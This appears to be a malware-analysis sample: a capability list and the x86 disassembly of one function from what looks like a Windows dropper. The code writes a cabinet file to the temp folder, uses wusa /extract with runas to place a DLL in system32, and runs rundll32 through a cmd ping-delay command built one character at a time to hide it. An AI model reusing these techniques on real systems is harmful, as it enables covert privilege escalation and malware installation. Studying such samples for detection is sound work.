Function at 0x404230
Capabilities:
Check os version
Get common file path
Move file
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x412040
push eax
mov eax, 0x20d0
mov dword fs:[0], esp
call fcn.0040b210
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x1cc6]
push ecx
mov word [ebp - 0x1cc8], ax
call fcn.0040d8c0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x10b6]
push eax
mov word [ebp - 0x10b8], dx
call fcn.0040d8c0
add esp, 0xc
push 0x208
lea ecx, [ebp - 0xca8]
push 0
push ecx
call fcn.0040d8c0
add esp, 0xc
push 0x104
lea edx, [ebp - 0xca8]
push edx
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x40475b
xor eax, eax
jmp 0x4042d0
movzx ecx, word [ebp + eax - 0xca8]
mov word [ebp + eax - 0x10b8], cx
add eax, 2
test cx, cx
jne 0x4042d0
call fcn.00402f70
mov esi, eax
push 0x114
lea eax, [ebp - 0x420]
push 0
push eax
mov dword [ebp - 0x28], esi
call fcn.0040d8c0
add esp, 0xc
lea ecx, [ebp - 0x420]
push ecx
mov dword [ebp - 0x420], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
call fcn.00403c10
test eax, eax
jne 0x40434c
call fcn.00403af0
test eax, eax
jne 0x40434c
call fcn.00402270
test eax, eax
jne 0x40434c
call fcn.00404120
test eax, eax
jne 0x40434c
call fcn.004020d0
test eax, eax
je 0x40437e
cmp dword [ebp - 0x41c], 6
jb 0x40437e
call fcn.004039a0
test eax, eax
je 0x40436a
mov edx, dword [ebp + 8]
push edx
call fcn.00403e90
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403490
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004020d0
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x40439a
call fcn.004024e0
test eax, eax
jne 0x40439a
test esi, esi
je 0x4043d9
lea ecx, [ebp - 0xca8]
push ecx
lea edx, [ebp - 0x1cc8]
push 0x104
push edx
call fcn.00407111
add esp, 0xc
push 0x208
lea eax, [ebp - 0xca8]
push 0
push eax
call fcn.0040d8c0
add esp, 0xc
lea ecx, [ebp - 0xca8]
push ecx
push 0x104
call edi
push 0x104
lea edx, [ebp - 0x1ac0]
push 0
push edx
call fcn.0040d8c0
add esp, 0xc
push 0x208
lea eax, [ebp - 0x1ac0]
push eax
push 0
call dword [0x41bec0]
lea ebx, [ebp - 0x10]
lea eax, [ebp - 0x1ac0]
mov dword [ebp - 0x10], 0
call fcn.00401f50
test eax, eax
je 0x40475b
push 0x64
xor ebx, ebx
lea ecx, [ebp - 0x690]
push ebx
push ecx
call fcn.0040d8c0
add esp, 0xc
push 0x32
lea edx, [ebp - 0x304]
push ebx
push edx
call fcn.0040d8c0
mov eax, dword [str.ctltp]
mov cx, word [0x414d28]
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
add esp, 0xc
push ebx
push ebx
push 0xffffffffffffffff
lea edx, [ebp - 0x304]
push edx
push ebx
push ebx
mov dword [ebp - 0x304], eax
mov word [ebp - 0x300], cx
call esi
push eax
lea eax, [ebp - 0x690]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x304]
push ecx
push ebx
push ebx
call esi
lea eax, [ebp - 0x690]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x404492
mov edx, dword [str..ctl]
mov ecx, dword [0x414d30]
mov dword [eax], edx
mov dx, word [0x414d34]
mov dword [eax + 4], ecx
push 0x208
mov word [eax + 8], dx
lea eax, [ebp - 0xeb0]
push ebx
push eax
call fcn.0040d8c0
add esp, 0xc
lea ecx, [ebp - 0xeb0]
push ecx
push 0x104
call edi
lea eax, [ebp - 0x690]
mov edx, eax
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4044e5
lea edi, [ebp - 0xeb0]
sub eax, edx
add edi, 0xfffffffe
jmp 0x404500
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x404500
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea edx, [ebp - 0xeb0]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [0x418080]
push str.MSCF
push edx
call fcn.00402660
add esp, 8
test eax, eax
je 0x40475b
push 0x40
lea eax, [ebp - 0xc4]
push ebx
push eax
mov dword [ebp - 0xc8], ebx
call fcn.0040d8c0
add esp, 0xc
push 0x206
xor eax, eax
lea edx, [ebp - 0xa9e]
xor ecx, ecx
push ebx
push edx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0xaa0], cx
call fcn.0040d8c0
add esp, 0xc
push str.otim.dll
lea eax, [ebp - 0xca8]
push eax
push str._s_S
lea edx, [ebp - 0xaa0]
call fcn.00401350
add esp, 0xc
cmp dword [ebp - 0x28], ebx
jne 0x40476e
call fcn.004024e0
test eax, eax
jne 0x40476e
call fcn.004020d0
test eax, eax
je 0x4045cd
call fcn.00402270
test eax, eax
je 0x4046ad
call fcn.00402060
test eax, eax
jne 0x4046ad
cmp dword [ebp - 0x41c], 6
jne 0x4045f9
cmp dword [ebp - 0x418], 2
jne 0x4045f9
call fcn.00402710
test eax, eax
je 0x4046ad
push 0x44
lea ecx, [ebp - 0xc8]
push ebx
push ecx
call fcn.0040d8c0
xor eax, eax
add esp, 0xc
push 0x800
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18b8]
xor edx, edx
push ebx
push eax
mov dword [ebp - 0x9c], 1
mov word [ebp - 0x98], dx
mov dword [ebp - 0xc8], 0x44
call fcn.0040d8c0
add esp, 0xc
lea ecx, [ebp - 0xca8]
push ecx
push 0x414d48
lea edx, [ebp - 0xeb0]
push edx
push str.cmd__c_wusa___s___s_s__quiet
lea edx, [ebp - 0x18b8]
call fcn.00401350
add esp, 0x10
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xc8]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea edx, [ebp - 0x18b8]
push edx
push ebx
call dword [0x41bea8]
test eax, eax
je 0x40475b
mov eax, dword [ebp - 0x24]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x404902
push 0x38
lea ecx, [ebp - 0x78]
push ebx
push ecx
call fcn.0040d8c0
lea edi, [ebp - 0x10b8]
add esp, 0xc
mov dword [ebp - 0x7c], 0x3c
mov dword [ebp - 0x70], str.runas
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x4046d3
mov ecx, 9
mov esi, str._system32wusa.exe
rep movsd dword es:[edi], dword [esi]
push 0x800
lea eax, [ebp - 0x18b8]
lea edx, [ebp - 0x10b8]
push ebx
push eax
movsw word es:[edi], word [esi]
mov dword [ebp - 0x6c], edx
call fcn.0040d8c0
add esp, 0xc
lea ecx, [ebp - 0xca8]
push ecx
lea edx, [ebp - 0xeb0]
push edx
push str.__s___extract:_s__quiet
lea edx, [ebp - 0x18b8]
call fcn.00401350
add esp, 0xc
lea ecx, [ebp - 0x7c]
lea eax, [ebp - 0x18b8]
push ecx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x78], 0x400
call dword [0x41beac]
test eax, eax
je 0x404902
cmp dword [ebp - 0x5c], 0x20
jg 0x404902
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea edi, [ebp - 0xca8]
lea ecx, [ebp - 0xeb0]
call fcn.00403030
call fcn.004025d0
test eax, eax
je 0x404902
push 0x206
lea eax, [ebp - 0x626]
xor edx, edx
push ebx
push eax
mov word [ebp - 0x628], dx
call fcn.0040d8c0
add esp, 0xc
xor eax, eax
lea esp, [esp]
movzx ecx, word [ebp + eax - 0xaa0]
mov word [ebp + eax - 0x628], cx
add eax, 2
cmp cx, bx
jne 0x4047b0
lea ecx, [ebp - 0x628]
push ecx
call dword [0x41bebc]
mov edx, 0x65
mov ecx, edx
mov eax, 0x6c
mov word [ebp - 0x40], dx
mov word [ebp - 0x3e], ax
mov edx, 0x76
mov eax, 0x67
mov word [ebp - 0x3a], dx
mov word [ebp - 0x38], ax
mov edx, 0x2e
mov eax, 0x64
mov word [ebp - 0x3c], cx
mov word [ebp - 0x36], cx
mov ecx, 0x6c
mov word [ebp - 0x34], dx
mov word [ebp - 0x32], ax
xor eax, eax
mov edx, ecx
lea edi, [ebp - 0x628]
mov word [ebp - 0x30], cx
mov word [ebp - 0x2e], dx
mov word [ebp - 0x2c], ax
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x404833
mov ecx, dword [0x414d44]
lea eax, [ebp - 0x40]
mov dword [edi], ecx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404850
lea edi, [ebp - 0x628]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x404866
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x628]
push edx
lea eax, [ebp - 0xaa0]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea ecx, [ebp - 0xaa0]
push ecx
call dword [0x41bebc]
lea edi, [ebp - 0xaa0]
add edi, 0xfffffffe
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x4048b0
mov edx, dword [0x414d44]
lea eax, [ebp - 0x40]
mov dword [edi], edx
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4048d0
lea edi, [ebp - 0xaa0]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x4048e6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xeb0]
push eax
call dword [0x41bea4]
push 0x206
lea edx, [ebp - 0x896]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0x898], cx
call fcn.0040d8c0
add esp, 0xc
call fcn.004024e0
mov dword [ebp - 0x10], eax
call fcn.004020d0
test eax, eax
push 0x44
lea eax, [ebp - 0xc8]
push ebx
push eax
setne byte [ebp - 0x11]
call fcn.0040d8c0
add esp, 0xc
xor eax, eax
push 0x800
lea edx, [ebp - 0x18b8]
xor ecx, ecx
push ebx
push edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x9c], 1
mov word [ebp - 0x98], cx
mov dword [ebp - 0xc8], 0x44
call fcn.0040d8c0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x3a
mov esi, eax
lea ecx, [ebp - 0x7a]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x7c], ax
call fcn.0040d8c0
add esp, 0xc
push esi
push 0x414dfc
lea edx, [ebp - 0x7c]
call fcn.00401350
add esp, 8
push 0x104
lea edx, [ebp - 0x898]
push edx
push ebx
call dword [0x41bec0]
lea eax, [ebp - 0x898]
push eax
call dword [0x41bebc]
lea edi, [ebp - 0x898]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x4049f4
mov ecx, dword [0x414d44]
lea eax, [ebp - 0x7c]
mov dword [edi], ecx
mov edx, eax
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404a10
lea edi, [ebp - 0x898]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x404a26
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004025d0
test eax, eax
jne 0x404ae5
lea eax, [ebp - 0x898]
add eax, 0xfffffffe
jmp 0x404a60
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x404a60
mov edx, dword [0x414e04]
mov cx, word [0x414e08]
mov dword [eax], edx
mov word [eax + 4], cx
lea eax, [ebp - 0x898]
add eax, 0xfffffffe
jmp 0x404a90
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x404a90
mov edx, dword [0x414e0c]
mov cx, word [0x414e10]
mov dword [eax], edx
mov word [eax + 4], cx
cmp dword [ebp - 0x10], ebx
jne 0x404c32
mov ebx, dword [ebp + 0xc]
lea edx, [ebp - 0x898]
push edx
mov eax, ebx
call fcn.00402e70
add esp, 4
test eax, eax
jne 0x404c35
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x206
lea ecx, [ebp - 0x626]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x628], ax
call fcn.0040d8c0
add esp, 0xc
xor eax, eax
jmp 0x404b10
movzx ecx, word [ebp + eax - 0x898]
mov word [ebp + eax - 0x628], cx
add eax, 2
cmp cx, bx
jne 0x404b10
lea eax, [ebp - 0x628]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x404b31
mov edx, dword [0x414e14]
mov cx, word [0x414e18]
mov dword [eax], edx
mov word [eax + 4], cx
lea eax, [ebp - 0x628]
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x404b60
mov edx, dword [0x414e1c]
mov cx, word [0x414e20]
mov dword [eax], edx
lea edx, [ebp - 0x628]
push edx
mov word [eax + 4], cx
call fcn.00403150
add esp, 4
test eax, eax
je 0x40475b
lea eax, [ebp - 0x898]
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x404ba0
mov ecx, dword [0x414e04]
mov dx, word [0x414e08]
mov dword [eax], ecx
mov word [eax + 4], dx
lea eax, [ebp - 0x898]
add eax, 0xfffffffe
jmp 0x404bd0
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x404bd0
mov ecx, dword [0x414e0c]
mov dx, word [0x414e10]
mov dword [eax], ecx
mov word [eax + 4], dx
lea eax, [ebp - 0x898]
push eax
lea ecx, [ebp - 0x628]
push ecx
call fcn.004032b0
add esp, 8
test eax, eax
je 0x40475b
lea edx, [ebp - 0x628]
push edx
call dword [0x41bea4]
cmp dword [ebp - 0x10], ebx
jne 0x404c32
lea eax, [ebp - 0x898]
call fcn.004033e0
test eax, eax
je 0x40475b
mov ebx, dword [ebp + 0xc]
xor eax, eax
push 0x40e
push eax
lea ecx, [ebp - 0x20d6]
push ecx
mov word [ebp - 0x20d8], ax
call fcn.0040d8c0
mov esi, dword [ebp + 8]
add esp, 0xc
push ebx
push esi
lea edx, [ebp - 0x898]
push edx
push str.__s____s____s_
lea edx, [ebp - 0x20d8]
call fcn.00401350
mov edi, dword [ebp - 0x10]
add esp, 0x10
test edi, edi
je 0x404d49
cmp dword [ebp - 0x41c], 6
jne 0x404d49
cmp dword [ebp - 0x418], 1
jne 0x404d49
push esi
push str.Rsctp
lea eax, [ebp - 0xaa0]
push eax
push str.cmd.exe__c_ping_0.0.0.0__n_2__rundll32.exe__s__s__s
lea edx, [ebp - 0x18b8]
call fcn.00401350
add esp, 0x10
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0xc8]
push edx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x18b8]
push eax
push 0
call dword [0x41bea8]
test eax, eax
je 0x40475b
mov ecx, dword [ebp - 0x24]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esi, [ebp - 0x10]
call fcn.004013f0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x10], 0
je 0x404d16
call fcn.00401370
lea esi, [ebp - 0x10]
call fcn.004035c0
lea edx, [ebp - 0xaa0]
push edx
call dword [0x41bea4]
lea eax, [ebp - 0x898]
push eax
call dword [0x41bea4]
push ebx
call fcn.00403490
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402270
test eax, eax
je 0x404d5b
call fcn.00402f70
test eax, eax
jne 0x404daa
cmp byte [ebp - 0x11], 0
jne 0x404d6c
test edi, edi
jne 0x404d70
cmp dword [ebp - 0x28], edi
jne 0x404daa
jmp 0x404d82
test edi, edi
je 0x404d82
cmp dword [ebp - 0x41c], 6
jne 0x404d82
cmp dword [ebp - 0x418], 1
je 0x404daa
call fcn.00401500
test eax, eax
jne 0x404d98
call fcn.00401500
test eax, eax
je 0x4050b0
mov eax, dword [ebp - 0x41c]
lea ecx, [eax - 6]
cmp ecx, 3
ja 0x4050b6
mov edx, 0x63
mov word [ebp - 0x2d0], dx
mov eax, 0x6d
mov word [ebp - 0x2ce], ax
mov ecx, 0x64
mov word [ebp - 0x2cc], cx
mov edx, 0x2e
mov word [ebp - 0x2ca], dx
mov eax, 0x65
mov edx, eax
mov word [ebp - 0x2c4], dx
mov word [ebp - 0x2c8], ax
mov ecx, 0x78
mov word [ebp - 0x2c6], cx
mov ecx, 0x2f
mov word [ebp - 0x2c0], cx
mov eax, 0x20
mov word [ebp - 0x2c2], ax
mov word [ebp - 0x2bc], ax
mov edx, 0x63
mov word [ebp - 0x2be], dx
mov ecx, 0x70
mov word [ebp - 0x2ba], cx
mov edx, 0x69
mov word [ebp - 0x2b8], dx
mov eax, 0x6e
mov word [ebp - 0x2b6], ax
mov ecx, 0x67
mov word [ebp - 0x2b4], cx
mov edx, 0x20
mov word [ebp - 0x2b2], dx
mov eax, 0x30
mov edx, eax
mov word [ebp - 0x2b0], ax
mov word [ebp - 0x2ac], dx
mov ecx, 0x2e
mov eax, ecx
mov word [ebp - 0x2ae], cx
mov ecx, edx
mov edx, eax
mov word [ebp - 0x2aa], ax
mov eax, ecx
mov word [ebp - 0x2a6], dx
mov word [ebp - 0x2a4], ax
mov word [ebp - 0x2a8], cx
mov ecx, 0x20
mov edx, 0x2d
mov word [ebp - 0x2a0], dx
mov word [ebp - 0x2a2], cx
mov eax, 0x6e
mov word [ebp - 0x29e], ax
mov eax, ecx
mov word [ebp - 0x29c], cx
mov edx, 0x32
mov word [ebp - 0x29a], dx
mov edx, eax
mov word [ebp - 0x298], ax
mov ecx, 0x26
mov word [ebp - 0x296], cx
mov eax, 0x72
mov word [ebp - 0x294], dx
mov word [ebp - 0x292], ax
mov ecx, 0x75
mov word [ebp - 0x290], cx
mov edx, 0x6e
mov eax, 0x64
mov ecx, 0x6c
mov word [ebp - 0x28e], dx
mov edx, ecx
mov word [ebp - 0x28c], ax
mov eax, 0x33
mov word [ebp - 0x28a], cx
mov ecx, 0x32
mov word [ebp - 0x288], dx
mov word [ebp - 0x286], ax
mov edx, 0x2e
mov eax, 0x65
mov word [ebp - 0x284], cx
mov word [ebp - 0x282], dx
mov word [ebp - 0x280], ax
mov ecx, 0x78
mov edx, eax
mov eax, 0x20
mov word [ebp - 0x27a], ax
mov eax, 0x2c
mov word [ebp - 0x274], ax
mov word [ebp - 0x27e], cx
mov ecx, 0x25
mov eax, 0x20
mov word [ebp - 0x26e], ax
xor eax, eax
push 0x19e
mov word [ebp - 0x278], cx
mov word [ebp - 0x272], cx
mov word [ebp - 0x26c], cx
mov word [ebp - 0x27c], dx
mov edx, 0x73
push eax
lea ecx, [ebp - 0x266]
push ecx
mov word [ebp - 0x276], dx
mov word [ebp - 0x270], dx
mov word [ebp - 0x26a], dx
mov word [ebp - 0x268], ax
call fcn.0040d8c0
add esp, 0xc
push esi
push str.Chech
lea edx, [ebp - 0xaa0]
push edx
lea eax, [ebp - 0x2d0]
push eax
lea edx, [ebp - 0x18b8]
call fcn.00401350
add esp, 0x10
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0xc8]
push edx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x18b8]
push eax
push 0
call dword [0x41bea8]
test eax, eax
je 0x40475b
mov ecx, dword [ebp - 0x24]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esi, [ebp - 0x10]
call fcn.004013f0
mov dword [ebp - 4], 1
cmp dword [ebp - 0x10], 0
je 0x40507d
call fcn.00401370
lea esi, [ebp - 0x10]
call fcn.004035c0
lea edx, [ebp - 0xaa0]
push edx
call dword [0x41bea4]
lea eax, [ebp - 0x898]
push eax
call dword [0x41bea4]
push ebx
call fcn.00403490
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0x41c]
cmp byte [ebp - 0x11], 0
jne 0x4050c0
test edi, edi
je 0x4050ce
cmp eax, 6
jne 0x40510a
cmp dword [ebp - 0x418], 2
jae 0x40510c
lea edi, [ebp - 0x20d8]
lea esi, [ebp - 0x7c]
call fcn.004027b0
test eax, eax
je 0x40475b
call fcn.004021d0
test eax, eax
je 0x405441
mov eax, esi
push eax
push str.CheckUnInstall
lea ecx, [ebp - 0xaa0]
push ecx
push str.cmd.exe__c_ping_0.0.0.0__n_1__rundll32.exe__s__s__s
jmp 0x405456
jbe 0x4050ce
mov ecx, 0x63
mov word [ebp - 0x2d0], cx
mov edx, 0x6d
mov word [ebp - 0x2ce], dx
mov eax, 0x64
mov word [ebp - 0x2cc], ax
mov ecx, 0x2e
mov word [ebp - 0x2ca], cx
mov edx, 0x65
mov ecx, edx
mov word [ebp - 0x2c4], cx
mov word [ebp - 0x2c8], dx
mov eax, 0x78
mov word [ebp - 0x2c6], ax
mov eax, 0x2f
mov word [ebp - 0x2c0], ax
mov edx, 0x20
mov word [ebp - 0x2c2], dx
mov word [ebp - 0x2bc], dx
mov ecx, 0x63
mov word [ebp - 0x2be], cx
mov eax, 0x70
mov word [ebp - 0x2ba], ax
mov ecx, 0x69
mov word [ebp - 0x2b8], cx
mov edx, 0x6e
mov word [ebp - 0x2b6], dx
mov eax, 0x67
mov word [ebp - 0x2b4], ax
mov ecx, 0x20
mov word [ebp - 0x2b2], cx
mov edx, 0x30
mov ecx, edx
mov word [ebp - 0x2b0], dx
mov word [ebp - 0x2ac], cx
mov eax, 0x2e
mov edx, eax
mov word [ebp - 0x2ae], ax
mov eax, ecx
mov ecx, edx
mov word [ebp - 0x2aa], dx
mov edx, eax
mov word [ebp - 0x2a6], cx
mov word [ebp - 0x2a4], dx
mov word [ebp - 0x2a8], ax
mov eax, 0x20
mov ecx, 0x2d
mov word [ebp - 0x2a0], cx
mov word [ebp - 0x2a2], ax
mov edx, 0x6e
mov word [ebp - 0x29e], dx
mov edx, eax
mov word [ebp - 0x29c], ax
mov ecx, 0x32
mov word [ebp - 0x29a], cx
mov ecx, edx
mov word [ebp - 0x298], dx
mov eax, 0x26
mov word [ebp - 0x296], ax
mov edx, 0x72
mov word [ebp - 0x294], cx
mov word [ebp - 0x292], dx
mov eax, 0x75
mov word [ebp - 0x290], ax
mov ecx, 0x6e
mov edx, 0x64
mov eax, 0x6c
mov word [ebp - 0x28e], cx
mov ecx, eax
mov word [ebp - 0x28c], dx
mov edx, 0x33
mov word [ebp - 0x28a], ax
mov eax, 0x32
mov word [ebp - 0x288], cx
mov word [ebp - 0x286], dx
mov ecx, 0x2e
mov edx, 0x65
mov word [ebp - 0x284], ax
mov word [ebp - 0x282], cx
mov word [ebp - 0x280], dx
mov eax, 0x78
mov ecx, edx
mov edx, 0x20
mov word [ebp - 0x27a], dx
mov edx, 0x2c
mov word [ebp - 0x274], dx
mov word [ebp - 0x27e], ax
mov eax, 0x25
mov edx, 0x20
mov word [ebp - 0x26e], dx
xor edx, edx
push 0x19e
mov word [ebp - 0x278], ax
mov word [ebp - 0x272], ax
mov word [ebp - 0x26c], ax
mov word [ebp - 0x27c], cx
mov ecx, 0x73
push edx
lea eax, [ebp - 0x266]
push eax
mov word [ebp - 0x276], cx
mov word [ebp - 0x270], cx
mov word [ebp - 0x26a], cx
mov word [ebp - 0x268], dx
call fcn.0040d8c0
mov ecx, 0x43
mov word [ebp - 0x628], cx
add esp, 0xc
mov ecx, 0x63
mov edx, 0x68
mov word [ebp - 0x622], cx
xor ecx, ecx
mov eax, 0x65
push 0x1fa
mov word [ebp - 0x626], dx
mov word [ebp - 0x620], dx
mov word [ebp - 0x624], ax
push ecx
lea edx, [ebp - 0x61a]
mov eax, 0x4b
push edx
mov word [ebp - 0x61e], ax
mov word [ebp - 0x61c], cx
call fcn.0040d8c0
add esp, 0xc
push esi
lea eax, [ebp - 0x628]
push eax
lea ecx, [ebp - 0xaa0]
push ecx
lea edx, [ebp - 0x2d0]
push edx
lea edx, [ebp - 0x18b8]
call fcn.00401350
add esp, 0x10
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xc8]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea edx, [ebp - 0x18b8]
push edx
push 0
call dword [0x41bea8]
test eax, eax
je 0x40475b
mov eax, dword [ebp - 0x24]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xaa0]
push ecx
call dword [0x41bea4]
lea edx, [ebp - 0x898]
push edx
jmp 0x404d32
lea edx, [ebp - 0x7c]
push edx
push str.CheckUnInstall
lea eax, [ebp - 0xaa0]
push eax
push str.rundll32.exe__s__s__s
lea edx, [ebp - 0x18b8]
call fcn.00401350
add esp, 0x10
lea ecx, [ebp - 0xaa0]
push ecx
call dword [0x41beb8]
test eax, eax
je 0x40475b
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0xc8]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea ecx, [ebp - 0x18b8]
push ecx
push 0
call dword [0x41bea8]
test eax, eax
je 0x40475b
mov edx, dword [ebp - 0x24]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.004020d0
test eax, eax
jne 0x4054e3
call fcn.004024e0
test eax, eax
jne 0x4054e3
cmp dword [ebp - 0x28], eax
jne 0x4054e3
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xaa0]
push eax
call dword [0x41bea4]
lea ecx, [ebp - 0x898]
push ecx
call dword [0x41bea4]
call fcn.004025d0
test eax, eax
je 0x404d38
cmp dword [ebp - 0x28], 0
jne 0x404d41
jmp 0x404d38